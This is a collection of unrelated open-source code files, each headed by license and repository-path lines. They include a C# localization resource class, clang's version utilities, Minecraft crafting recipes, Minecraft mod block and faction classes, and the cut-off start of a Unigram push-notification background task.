global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] public ResProductPriceApprove() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] public static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ECCentral.Portal.UI.IM.Resources.ResProductPriceApprove", typeof(ResProductPriceApprove).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] public static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// <summary> /// Looks up a localized string similar to 审核成功!. /// </summary> public static string AuditMessageInfo { get { return ResourceManager.GetString("AuditMessageInfo", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 取消. /// </summary> public static string Btn_Cancel { get { return ResourceManager.GetString("Btn_Cancel", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 确定. /// </summary> public static string btn_Confirm { get { return ResourceManager.GetString("btn_Confirm", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 批量审核不通过. /// </summary> public static string Button_BatchDeny { get { return ResourceManager.GetString("Button_BatchDeny", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 批量审核通过. /// </summary> public static string Button_BatchPass { get { return ResourceManager.GetString("Button_BatchPass", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 查询. /// </summary> public static string Button_Search { get { return ResourceManager.GetString("Button_Search", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 批量审核. /// </summary> public static string Dialog_AuditProductPriceRequest { get { return ResourceManager.GetString("Dialog_AuditProductPriceRequest", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 查询条件. /// </summary> public static string Expander_QueryBuilder { get { return ResourceManager.GetString("Expander_QueryBuilder", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 查询结果. /// </summary> public static string Expander_QueryResult { get { return ResourceManager.GetString("Expander_QueryResult", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 初审时间. /// </summary> public static string Grid_AuditDate { get { return ResourceManager.GetString("Grid_AuditDate", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 初审人. /// </summary> public static string Grid_AuditUser { get { return ResourceManager.GetString("Grid_AuditUser", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 可用库存. /// </summary> public static string Grid_AvailableQty { get { return ResourceManager.GetString("Grid_AvailableQty", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 返现. /// </summary> public static string Grid_Cashe { get { return ResourceManager.GetString("Grid_Cashe", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 成本. /// </summary> public static string Grid_CostPrice { get { return ResourceManager.GetString("Grid_CostPrice", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 申请时间. /// </summary> public static string Grid_InDate { get { return ResourceManager.GetString("Grid_InDate", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 申请人. /// </summary> public static string Grid_InUser { get { return ResourceManager.GetString("Grid_InUser", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 终审时间. /// </summary> public static string Grid_LastAuditDate { get { return ResourceManager.GetString("Grid_LastAuditDate", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 终审人. /// </summary> public static string Grid_LastAuditUser { get { return ResourceManager.GetString("Grid_LastAuditUser", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 申请前毛利率(不含优惠券、赠品). /// </summary> public static string Grid_MarginString { get { return ResourceManager.GetString("Grid_MarginString", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 申请后毛利率(不含优惠券、赠品). /// </summary> public static string Grid_NewMarginString { get { return ResourceManager.GetString("Grid_NewMarginString", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 申请价格. /// </summary> public static string Grid_NewPrice { get { return ResourceManager.GetString("Grid_NewPrice", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 原价格. /// </summary> public static string Grid_OldPrice { get { return ResourceManager.GetString("Grid_OldPrice", resourceCulture); } } /// <summary> /// Looks up a localized string similar to PMD审核理由. /// </summary> public static string Grid_PMDMemo { get { return ResourceManager.GetString("Grid_PMDMemo", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 赠送积分. /// </summary> public static string Grid_Point { get { return ResourceManager.GetString("Grid_Point", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 商品ID. /// </summary> public static string Grid_ProductID { get { return ResourceManager.GetString("Grid_ProductID", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 审核状态. /// </summary> public static string Grid_Status { get { return ResourceManager.GetString("Grid_Status", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 系统编号. /// </summary> public static string Grid_SysNo { get { return ResourceManager.GetString("Grid_SysNo", resourceCulture); } } /// <summary> /// Looks up a localized string similar to TL审核理由. /// </summary> public static string Grid_TLMemo { get { return ResourceManager.GetString("Grid_TLMemo", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 审核类型. /// </summary> public static string Label_AuditStatus { get { return ResourceManager.GetString("Label_AuditStatus", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 类别:. /// </summary> public static string Label_Category { get { return ResourceManager.GetString("Label_Category", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 生产商:. /// </summary> public static string Label_ManufacturerName { get { return ResourceManager.GetString("Label_ManufacturerName", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 商品ID:. /// </summary> public static string Label_ProductID { get { return ResourceManager.GetString("Label_ProductID", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 商品状态:. /// </summary> public static string Label_Status { get { return ResourceManager.GetString("Label_Status", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 请选择一条记录后操作. /// </summary> public static string Msg_OnSelectProperty { get { return ResourceManager.GetString("Msg_OnSelectProperty", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 无. /// </summary> public static string None { get { return ResourceManager.GetString("None", resourceCulture); } } /// <summary> /// Looks up a localized string similar to 请选择一条记录!. /// </summary> public static string SelectMessageInfo { get { return ResourceManager.GetString("SelectMessageInfo", resourceCulture); } } } }
gpl-3.0
Bootz/multicore-opimization
llvm/tools/clang/lib/Basic/Version.cpp
2862
//===- Version.cpp - Clang Version Number -----------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file defines several version-related utility functions for Clang. // //===----------------------------------------------------------------------===// #include "clang/Basic/Version.h" #include "clang/Basic/LLVM.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Config/config.h" #include <cstring> #include <cstdlib> namespace clang { std::string getClangRepositoryPath() { #if defined(CLANG_REPOSITORY_STRING) return CLANG_REPOSITORY_STRING; #else #ifdef SVN_REPOSITORY StringRef URL(SVN_REPOSITORY); #else StringRef URL(""); #endif // If the SVN_REPOSITORY is empty, try to use the SVN keyword. This helps us // pick up a tag in an SVN export, for example. static StringRef SVNRepository("$URL: http://llvm.org/svn/llvm-project/cfe/trunk/lib/Basic/Version.cpp $"); if (URL.empty()) { URL = SVNRepository.slice(SVNRepository.find(':'), SVNRepository.find("/lib/Basic")); } // Strip off version from a build from an integration branch. URL = URL.slice(0, URL.find("/src/tools/clang")); // Trim path prefix off, assuming path came from standard cfe path. size_t Start = URL.find("cfe/"); if (Start != StringRef::npos) URL = URL.substr(Start + 4); return URL; #endif } std::string getClangRevision() { #ifdef SVN_REVISION return SVN_REVISION; #else return ""; #endif } std::string getClangFullRepositoryVersion() { std::string buf; llvm::raw_string_ostream OS(buf); std::string Path = getClangRepositoryPath(); std::string Revision = getClangRevision(); if (!Path.empty()) OS << Path; if (!Revision.empty()) { if (!Path.empty()) OS << ' '; OS << Revision; } return OS.str(); } std::string getClangFullVersion() { std::string buf; llvm::raw_string_ostream OS(buf); #ifdef CLANG_VENDOR OS << CLANG_VENDOR; #endif OS << "clang version " CLANG_VERSION_STRING " (" << getClangFullRepositoryVersion() << ')'; // If vendor supplied, include the base LLVM version as well. #ifdef CLANG_VENDOR OS << " (based on LLVM " << PACKAGE_VERSION << ")"; #endif return OS.str(); } std::string getClangFullCPPVersion() { // The version string we report in __VERSION__ is just a compacted version of // the one we report on the command line. std::string buf; llvm::raw_string_ostream OS(buf); #ifdef CLANG_VENDOR OS << CLANG_VENDOR; #endif OS << "Clang " CLANG_VERSION_STRING " (" << getClangFullRepositoryVersion() << ')'; return OS.str(); } } // end namespace clang
gpl-3.0
ceduliocezar/android-labs
CustomFont/app/src/main/java/com/cedulio/customfont/MainActivity.java
335
package com.cedulio.customfont; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
gpl-3.0
pantelis60/L2Scripts_Underground
gameserver/src/main/java/l2s/gameserver/handler/chat/IChatHandler.java
215
package l2s.gameserver.handler.chat; import l2s.gameserver.network.l2.components.ChatType; /** * @author VISTALL * @date 18:16/12.03.2011 */ public interface IChatHandler { void say(); ChatType getType(); }
gpl-3.0
didoupimpon/CC152
src/main/java/net/minecraft/server/CraftingManager.java
11327
package net.minecraft.server; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; public class CraftingManager { private static final CraftingManager a = new CraftingManager(); private List b = new ArrayList(); public static final CraftingManager a() { return a; } private CraftingManager() { (new RecipesTools()).a(this); (new RecipesWeapons()).a(this); (new RecipeIngots()).a(this); (new RecipesFood()).a(this); (new RecipesCrafting()).a(this); (new RecipesArmor()).a(this); (new RecipesDyes()).a(this); this.a(new ItemStack(Item.PAPER, 3), new Object[] { "###", Character.valueOf('#'), Item.SUGAR_CANE}); this.a(new ItemStack(Item.BOOK, 1), new Object[] { "#", "#", "#", Character.valueOf('#'), Item.PAPER}); this.a(new ItemStack(Block.FENCE, 2), new Object[] { "###", "###", Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Block.JUKEBOX, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Block.WOOD, Character.valueOf('X'), Item.DIAMOND}); this.a(new ItemStack(Block.NOTE_BLOCK, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Block.WOOD, Character.valueOf('X'), Item.REDSTONE}); this.a(new ItemStack(Block.BOOKSHELF, 1), new Object[] { "###", "XXX", "###", Character.valueOf('#'), Block.WOOD, Character.valueOf('X'), Item.BOOK}); this.a(new ItemStack(Block.SNOW_BLOCK, 1), new Object[] { "##", "##", Character.valueOf('#'), Item.SNOW_BALL}); this.a(new ItemStack(Block.CLAY, 1), new Object[] { "##", "##", Character.valueOf('#'), Item.CLAY_BALL}); this.a(new ItemStack(Block.BRICK, 1), new Object[] { "##", "##", Character.valueOf('#'), Item.CLAY_BRICK}); this.a(new ItemStack(Block.GLOWSTONE, 1), new Object[] { "###", "###", "###", Character.valueOf('#'), Item.GLOWSTONE_DUST}); this.a(new ItemStack(Block.WOOL, 1), new Object[] { "###", "###", "###", Character.valueOf('#'), Item.STRING}); this.a(new ItemStack(Block.TNT, 1), new Object[] { "X#X", "#X#", "X#X", Character.valueOf('X'), Item.SULPHUR, Character.valueOf('#'), Block.SAND}); this.a(new ItemStack(Block.STEP, 3, 3), new Object[] { "###", Character.valueOf('#'), Block.COBBLESTONE}); this.a(new ItemStack(Block.STEP, 3, 0), new Object[] { "###", Character.valueOf('#'), Block.STONE}); this.a(new ItemStack(Block.STEP, 3, 1), new Object[] { "###", Character.valueOf('#'), Block.SANDSTONE}); this.a(new ItemStack(Block.STEP, 3, 2), new Object[] { "###", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Block.LADDER, 2), new Object[] { "# #", "###", "# #", Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Item.WOOD_DOOR, 1), new Object[] { "##", "##", "##", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Item.IRON_DOOR, 1), new Object[] { "##", "##", "##", Character.valueOf('#'), Item.IRON_INGOT}); this.a(new ItemStack(Item.SIGN, 1), new Object[] { "###", "###", " X ", Character.valueOf('#'), Block.WOOD, Character.valueOf('X'), Item.STICK}); this.a(new ItemStack(Item.CAKE, 1), new Object[] { "AAA", "BEB", "CCC", Character.valueOf('A'), Item.MILK_BUCKET, Character.valueOf('B'), Item.SUGAR, Character.valueOf('C'), Item.WHEAT, Character.valueOf('E'), Item.EGG}); this.a(new ItemStack(Item.SUGAR, 1), new Object[] { "#", Character.valueOf('#'), Item.SUGAR_CANE}); this.a(new ItemStack(Block.WOOD, 4), new Object[] { "#", Character.valueOf('#'), Block.LOG}); this.a(new ItemStack(Item.STICK, 4), new Object[] { "#", "#", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Block.TORCH, 4), new Object[] { "X", "#", Character.valueOf('X'), Item.COAL, Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Block.TORCH, 4), new Object[] { "X", "#", Character.valueOf('X'), new ItemStack(Item.COAL, 1, 1), Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Item.BOWL, 4), new Object[] { "# #", " # ", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Block.RAILS, 16), new Object[] { "X X", "X#X", "X X", Character.valueOf('X'), Item.IRON_INGOT, Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Block.GOLDEN_RAIL, 6), new Object[] { "X X", "X#X", "XRX", Character.valueOf('X'), Item.GOLD_INGOT, Character.valueOf('R'), Item.REDSTONE, Character.valueOf('#'), Item.STICK}); this.a(new ItemStack(Block.DETECTOR_RAIL, 6), new Object[] { "X X", "X#X", "XRX", Character.valueOf('X'), Item.IRON_INGOT, Character.valueOf('R'), Item.REDSTONE, Character.valueOf('#'), Block.STONE_PLATE}); this.a(new ItemStack(Item.MINECART, 1), new Object[] { "# #", "###", Character.valueOf('#'), Item.IRON_INGOT}); this.a(new ItemStack(Block.JACK_O_LANTERN, 1), new Object[] { "A", "B", Character.valueOf('A'), Block.PUMPKIN, Character.valueOf('B'), Block.TORCH}); this.a(new ItemStack(Item.STORAGE_MINECART, 1), new Object[] { "A", "B", Character.valueOf('A'), Block.CHEST, Character.valueOf('B'), Item.MINECART}); this.a(new ItemStack(Item.POWERED_MINECART, 1), new Object[] { "A", "B", Character.valueOf('A'), Block.FURNACE, Character.valueOf('B'), Item.MINECART}); this.a(new ItemStack(Item.BOAT, 1), new Object[] { "# #", "###", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Item.BUCKET, 1), new Object[] { "# #", " # ", Character.valueOf('#'), Item.IRON_INGOT}); this.a(new ItemStack(Item.FLINT_AND_STEEL, 1), new Object[] { "A ", " B", Character.valueOf('A'), Item.IRON_INGOT, Character.valueOf('B'), Item.FLINT}); this.a(new ItemStack(Item.BREAD, 1), new Object[] { "###", Character.valueOf('#'), Item.WHEAT}); this.a(new ItemStack(Block.WOOD_STAIRS, 4), new Object[] { "# ", "## ", "###", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Item.FISHING_ROD, 1), new Object[] { " #", " #X", "# X", Character.valueOf('#'), Item.STICK, Character.valueOf('X'), Item.STRING}); this.a(new ItemStack(Block.COBBLESTONE_STAIRS, 4), new Object[] { "# ", "## ", "###", Character.valueOf('#'), Block.COBBLESTONE}); this.a(new ItemStack(Item.PAINTING, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Item.STICK, Character.valueOf('X'), Block.WOOL}); this.a(new ItemStack(Item.GOLDEN_APPLE, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Block.GOLD_BLOCK, Character.valueOf('X'), Item.APPLE}); this.a(new ItemStack(Block.LEVER, 1), new Object[] { "X", "#", Character.valueOf('#'), Block.COBBLESTONE, Character.valueOf('X'), Item.STICK}); this.a(new ItemStack(Block.REDSTONE_TORCH_ON, 1), new Object[] { "X", "#", Character.valueOf('#'), Item.STICK, Character.valueOf('X'), Item.REDSTONE}); this.a(new ItemStack(Item.DIODE, 1), new Object[] { "#X#", "III", Character.valueOf('#'), Block.REDSTONE_TORCH_ON, Character.valueOf('X'), Item.REDSTONE, Character.valueOf('I'), Block.STONE}); this.a(new ItemStack(Item.WATCH, 1), new Object[] { " # ", "#X#", " # ", Character.valueOf('#'), Item.GOLD_INGOT, Character.valueOf('X'), Item.REDSTONE}); this.a(new ItemStack(Item.COMPASS, 1), new Object[] { " # ", "#X#", " # ", Character.valueOf('#'), Item.IRON_INGOT, Character.valueOf('X'), Item.REDSTONE}); this.a(new ItemStack(Block.STONE_BUTTON, 1), new Object[] { "#", "#", Character.valueOf('#'), Block.STONE}); this.a(new ItemStack(Block.STONE_PLATE, 1), new Object[] { "##", Character.valueOf('#'), Block.STONE}); this.a(new ItemStack(Block.WOOD_PLATE, 1), new Object[] { "##", Character.valueOf('#'), Block.WOOD}); this.a(new ItemStack(Block.DISPENSER, 1), new Object[] { "###", "#X#", "#R#", Character.valueOf('#'), Block.COBBLESTONE, Character.valueOf('X'), Item.BOW, Character.valueOf('R'), Item.REDSTONE}); this.a(new ItemStack(Item.BED, 1), new Object[] { "###", "XXX", Character.valueOf('#'), Block.WOOL, Character.valueOf('X'), Block.WOOD}); Collections.sort(this.b, new RecipeSorter(this)); System.out.println(this.b.size() + " recipes"); } public void a(ItemStack itemstack, Object[] aobject) { // CraftBukkit - default -> public and Object... -> Object[] String s = ""; int i = 0; int j = 0; int k = 0; if (aobject[i] instanceof String[]) { String[] astring = (String[]) ((String[]) aobject[i++]); for (int l = 0; l < astring.length; ++l) { String s1 = astring[l]; ++k; j = s1.length(); s = s + s1; } } else { while (aobject[i] instanceof String) { String s2 = (String) aobject[i++]; ++k; j = s2.length(); s = s + s2; } } HashMap hashmap; for (hashmap = new HashMap(); i < aobject.length; i += 2) { Character character = (Character) aobject[i]; ItemStack itemstack1 = null; if (aobject[i + 1] instanceof Item) { itemstack1 = new ItemStack((Item) aobject[i + 1]); } else if (aobject[i + 1] instanceof Block) { itemstack1 = new ItemStack((Block) aobject[i + 1], 1, -1); } else if (aobject[i + 1] instanceof ItemStack) { itemstack1 = (ItemStack) aobject[i + 1]; } hashmap.put(character, itemstack1); } ItemStack[] aitemstack = new ItemStack[j * k]; for (int i1 = 0; i1 < j * k; ++i1) { char c0 = s.charAt(i1); if (hashmap.containsKey(Character.valueOf(c0))) { aitemstack[i1] = ((ItemStack) hashmap.get(Character.valueOf(c0))).j(); } else { aitemstack[i1] = null; } } this.b.add(new ShapedRecipes(j, k, aitemstack, itemstack)); } public void b(ItemStack itemstack, Object[] aobject) { // CraftBukkit - default -> public and Object... -> Object[] ArrayList arraylist = new ArrayList(); Object[] aobject1 = aobject; int i = aobject.length; for (int j = 0; j < i; ++j) { Object object = aobject1[j]; if (object instanceof ItemStack) { arraylist.add(((ItemStack) object).j()); } else if (object instanceof Item) { arraylist.add(new ItemStack((Item) object)); } else { if (!(object instanceof Block)) { throw new RuntimeException("Invalid shapeless recipy!"); } arraylist.add(new ItemStack((Block) object)); } } this.b.add(new ShapelessRecipes(itemstack, arraylist)); } public ItemStack a(InventoryCrafting inventorycrafting) { for (int i = 0; i < this.b.size(); ++i) { CraftingRecipe craftingrecipe = (CraftingRecipe) this.b.get(i); if (craftingrecipe.a(inventorycrafting)) { return craftingrecipe.b(inventorycrafting); } } return null; } public List b() { return this.b; } }
gpl-3.0
NuenoB/OpenBlocks_UCHILE
src/openblocks/common/block/BlockImaginary.java
4212
package openblocks.common.block; import java.util.ArrayList; import java.util.List; import net.minecraft.block.StepSound; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IconRegister; import net.minecraft.entity.Entity; import net.minecraft.item.ItemStack; import net.minecraft.util.*; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import openblocks.Config; import openblocks.common.item.ItemImaginary; import openblocks.common.tileentity.TileEntityImaginary; import openblocks.common.tileentity.TileEntityImaginary.Property; import com.google.common.collect.Lists; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; public class BlockImaginary extends OpenBlock { public Icon texturePencilBlock; public Icon textureCrayonBlock; public Icon texturePencilPanel; public Icon textureCrayonPanel; public Icon texturePencilHalfPanel; public Icon textureCrayonHalfPanel; public static final StepSound drawingSounds = new StepSound("cloth", 0.5f, 1.0f) { @Override public String getPlaceSound() { return "openblocks:draw"; } }; public BlockImaginary() { super(Config.blockImaginaryId, Material.glass); setHardness(0.3f); stepSound = drawingSounds; } @Override public AxisAlignedBB getSelectedBoundingBoxFromPool(World world, int x, int y, int z) { if (world.isRemote) { TileEntityImaginary te = getTileEntity(world, x, y, z, TileEntityImaginary.class); if (te != null && te.is(Property.SELECTABLE)) return te.getSelectionBox(); } return AxisAlignedBB.getAABBPool().getAABB(0, 0, 0, 0, 0, 0); } @Override public AxisAlignedBB getCollisionBoundingBoxFromPool(World world, int x, int y, int z) { return null; } @Override @SuppressWarnings({ "rawtypes", "unchecked" }) public void addCollisionBoxesToList(World world, int x, int y, int z, AxisAlignedBB region, List result, Entity entity) { TileEntityImaginary te = getTileEntity(world, x, y, z, TileEntityImaginary.class); if (te != null && te.is(Property.SOLID, entity)) te.addCollisions(region, result); } @Override public void setBlockBoundsBasedOnState(IBlockAccess access, int x, int y, int z) { TileEntityImaginary te = getTileEntity(access, x, y, z, TileEntityImaginary.class); if (te != null && te.is(Property.SELECTABLE)) { AxisAlignedBB aabb = te.getBlockBounds(); minX = aabb.minX; minY = aabb.minY; minZ = aabb.minZ; maxX = aabb.maxX; maxY = aabb.maxY; maxZ = aabb.maxZ; } } @Override public MovingObjectPosition collisionRayTrace(World world, int x, int y, int z, Vec3 par5Vec3, Vec3 par6Vec3) { if (world.isRemote) { TileEntityImaginary te = getTileEntity(world, x, y, z, TileEntityImaginary.class); if (te == null || !te.is(Property.SELECTABLE)) return null; } return super.collisionRayTrace(world, x, y, z, par5Vec3, par6Vec3); } @Override @SideOnly(Side.CLIENT) public void registerIcons(IconRegister registry) { blockIcon = texturePencilBlock = registry.registerIcon("openblocks:pencilBlock"); textureCrayonBlock = registry.registerIcon("openblocks:crayonBlock"); texturePencilPanel = registry.registerIcon("openblocks:pencilPanel"); textureCrayonPanel = registry.registerIcon("openblocks:crayonPanel"); texturePencilHalfPanel = registry.registerIcon("openblocks:pencilHalfPanel"); textureCrayonHalfPanel = registry.registerIcon("openblocks:crayonHalfPanel"); } @Override public boolean renderAsNormalBlock() { return false; } @Override public boolean isOpaqueCube() { return false; } @Override public boolean shouldRenderBlock() { return false; } @Override public ArrayList<ItemStack> getBlockDropped(World world, int x, int y, int z, int metadata, int fortune) { return Lists.newArrayList(); } @Override public ItemStack getPickBlock(MovingObjectPosition target, World world, int x, int y, int z) { TileEntityImaginary te = getTileEntity(world, x, y, z, TileEntityImaginary.class); if (te != null) { int dmg = te.isPencil()? ItemImaginary.DAMAGE_PENCIL : ItemImaginary.DAMAGE_CRAYON; return ItemImaginary.setupValues(te.color, new ItemStack(this, 1, dmg)); } return null; } }
gpl-3.0
thevpc/upa
upa-api/src/main/csharp/Sources/Auto/PrimitiveFieldInfo.cs
765
/********************************************************* ********************************************************* ** DO NOT EDIT ** ** ** ** THIS FILE HAS BEEN GENERATED AUTOMATICALLY ** ** BY UPA PORTABLE GENERATOR ** ** (c) vpc ** ** ** ********************************************************* ********************************************************/ namespace Net.TheVpc.Upa { public class PrimitiveFieldInfo : Net.TheVpc.Upa.FieldInfo { public PrimitiveFieldInfo() : base("primitive"){ } } }
gpl-3.0
Mazdallier/AncientWarfare2
src/main/java/net/shadowmage/ancientwarfare/npc/faction/FactionTracker.java
4829
package net.shadowmage.ancientwarfare.npc.faction; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.entity.player.EntityPlayerMP; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.world.World; import net.shadowmage.ancientwarfare.core.gamedata.AWGameData; import net.shadowmage.ancientwarfare.core.network.NetworkHandler; import net.shadowmage.ancientwarfare.npc.gamedata.FactionData; import net.shadowmage.ancientwarfare.npc.network.PacketFactionUpdate; import cpw.mods.fml.common.eventhandler.SubscribeEvent; import cpw.mods.fml.common.gameevent.PlayerEvent.PlayerLoggedInEvent; import cpw.mods.fml.common.network.FMLNetworkEvent.ClientConnectedToServerEvent; import cpw.mods.fml.common.network.FMLNetworkEvent.ClientDisconnectionFromServerEvent; public class FactionTracker { private FactionTracker(){} public static final FactionTracker INSTANCE = new FactionTracker(); FactionEntry clientEntry = new FactionEntry("client_entry"); @SubscribeEvent public void onPlayerLogin(PlayerLoggedInEvent evt) { onPlayerLogin(evt.player); } @SubscribeEvent public void onClientConnect(ClientConnectedToServerEvent evt) { clientEntry = new FactionEntry("client_entry"); } @SubscribeEvent public void onClientDisconnect(ClientDisconnectionFromServerEvent evt) { clientEntry = new FactionEntry("client_entry"); } private void onPlayerLogin(EntityPlayer player) { FactionData data = AWGameData.INSTANCE.getData(FactionData.name, player.worldObj, FactionData.class); data.onPlayerLogin(player); sendFactionEntry(player, data); } public void adjustStandingFor(World world, String playerName, String factionName, int adjustment) { if(world.isRemote){throw new IllegalArgumentException("Cannot adjust standing on client world!");} FactionData data = AWGameData.INSTANCE.getData(FactionData.name, world, FactionData.class); data.adjustStandingFor(playerName, factionName, adjustment); sendFactionUpdate(world, playerName, factionName, data); } public void setStandingFor(World world, String playerName, String factionName, int setting) { if(world.isRemote){throw new IllegalArgumentException("Cannot set standing on client world!");} FactionData data = AWGameData.INSTANCE.getData(FactionData.name, world, FactionData.class); data.setStandingFor(playerName, factionName, setting); sendFactionUpdate(world, playerName, factionName, data); } public int getStandingFor(World world, String playerName, String factionName) { if(world.isRemote) { if(clientEntry!=null) { return clientEntry.getStandingFor(factionName); } else { throw new RuntimeException("Client side faction data was null while attempting lookup for: "+playerName+" for faction: "+factionName+" for client world: "+world); } } else { FactionData data = AWGameData.INSTANCE.getData(FactionData.name, world, FactionData.class); return data.getStandingFor(playerName, factionName); } } private void sendFactionEntry(EntityPlayer player, FactionData data) { FactionEntry entry = data.getEntryFor(player.getCommandSenderName()); NBTTagCompound tag = new NBTTagCompound(); NBTTagCompound initTag = entry.writeToNBT(new NBTTagCompound()); tag.setTag("factionInit", initTag); PacketFactionUpdate pkt = new PacketFactionUpdate(tag); NetworkHandler.sendToPlayer((EntityPlayerMP) player, pkt); } private void sendFactionUpdate(World world, String playerName, String factionName, FactionData data) { EntityPlayer player = world.getPlayerEntityByName(playerName); if(player!=null && player instanceof EntityPlayerMP) { int standing = data.getStandingFor(playerName, factionName); NBTTagCompound tag = new NBTTagCompound(); NBTTagCompound updateTag = new NBTTagCompound(); updateTag.setString("faction", factionName); updateTag.setInteger("standing", standing); tag.setTag("factionUpdate", updateTag); PacketFactionUpdate pkt = new PacketFactionUpdate(tag); NetworkHandler.sendToPlayer((EntityPlayerMP) player, pkt); } } public void handlePacketData(NBTTagCompound tag) { if(tag.hasKey("factionUpdate")) { handleClientFactionUpdate(tag.getCompoundTag("factionUpdate")); } if(tag.hasKey("factionInit")) { handleClientFactionInit(tag.getCompoundTag("factionInit")); } } private void handleClientFactionUpdate(NBTTagCompound tag) { String faction = tag.getString("faction"); int standing = tag.getInteger("standing"); clientEntry.setStandingFor(faction, standing); } private void handleClientFactionInit(NBTTagCompound tag) { this.clientEntry = new FactionEntry(tag); } }
gpl-3.0
callummoffat/Unigram
Unigram/Unigram.Native.Tasks/NotificationTask.cpp
19464
#include "pch.h" #include "NotificationTask.h" #include "VoIPCallTask.h" #include <ios> #include <fstream> #include <ppltasks.h> #include <iostream> #include <iomanip> #include <sstream> #include <windows.h> #include "Shlwapi.h" using namespace concurrency; using namespace Platform; using namespace Unigram::Native::Tasks; using namespace Windows::ApplicationModel::Calls; using namespace Windows::ApplicationModel::Resources; using namespace Windows::Data::Json; using namespace Windows::Data::Xml::Dom; using namespace Windows::Foundation; using namespace Windows::Storage; using namespace Windows::UI::Notifications; using namespace Windows::UI::StartScreen; void NotificationTask::Run(IBackgroundTaskInstance^ taskInstance) { //auto temp = ApplicationData::Current->LocalFolder->Path; //std::wstringstream path; //path << temp->Data() // << L"\\background_log.txt"; //std::wofstream log(path.str(), std::ios_base::app | std::ios_base::out); //time_t rawtime = time(NULL); //struct tm timeinfo; //wchar_t buffer[80]; //time(&rawtime); //localtime_s(&timeinfo, &rawtime); //wcsftime(buffer, sizeof(buffer), L"%d-%m-%Y %I:%M:%S", &timeinfo); //std::wstring str(buffer); //log << L"["; //log << str; //log << L"] Starting background task\n"; auto deferral = taskInstance->GetDeferral(); auto details = safe_cast<RawNotification^>(taskInstance->TriggerDetails); if (details != nullptr && details->Content != nullptr) { try { UpdateToastAndTiles(details->Content /*, &log*/); } catch (Exception^ ex) { //time(&rawtime); //localtime_s(&timeinfo, &rawtime); //wcsftime(buffer, sizeof(buffer), L"%d-%m-%Y %I:%M:%S", &timeinfo); //std::wstring str3(buffer); //log << L"["; //log << str3; //log << "] Exception while processing notification"; } } //time(&rawtime); //localtime_s(&timeinfo, &rawtime); //wcsftime(buffer, sizeof(buffer), L"%d-%m-%Y %I:%M:%S", &timeinfo); //std::wstring str2(buffer); //log << L"["; //log << str2; //log << L"] Quitting background task\n\n"; deferral->Complete(); } void NotificationTask::UpdateToastAndTiles(String^ content /*, std::wofstream* log*/) { auto notification = JsonValue::Parse(content)->GetObject(); auto data = 